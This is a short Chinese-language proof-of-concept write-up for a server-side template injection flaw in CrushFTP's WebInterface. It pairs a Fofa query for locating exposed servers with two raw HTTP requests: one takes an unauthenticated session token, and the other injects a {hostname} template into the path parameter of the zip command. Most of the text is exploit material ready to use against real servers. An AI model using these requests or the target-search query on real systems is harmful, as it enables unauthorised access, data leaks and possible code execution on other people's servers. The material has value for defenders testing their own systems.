CrushFTP服务器端模板注入

漏洞描述

由于CrushFTP存在服务器端模板注入漏洞，未经身份验证的远程攻击者可以逃避虚拟文件系统（VFS）沙箱，绕过身份验证获得管理访问权限，泄露敏感信息或执行代码。

Fofa: server="CrushFTP" || header="/WebInterface/login.html" || banner="/WebInterface/login.html" || header="/WebInterface/w3c/p3p.xml" || banner="/WebInterface/w3c/p3p.xml" || title="CrushFTP"

POC:

先访问对带有WebInterface的任何页面执行未经身份验证的请求来获取此用户的会话令牌

GET /WebInterface/ HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

然后在访问由ServerSessionAJAX实现的API

POST /WebInterface/function/?c2f=mq0f&command=zip&path=%7Bhostname%7D&names=/a HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Cookie: CrushAuth=1714198953639_6IT8tgJ29xkHwuWVLshEAZmmCGmq0f; currentAuth=mq0f
Content-Length: 0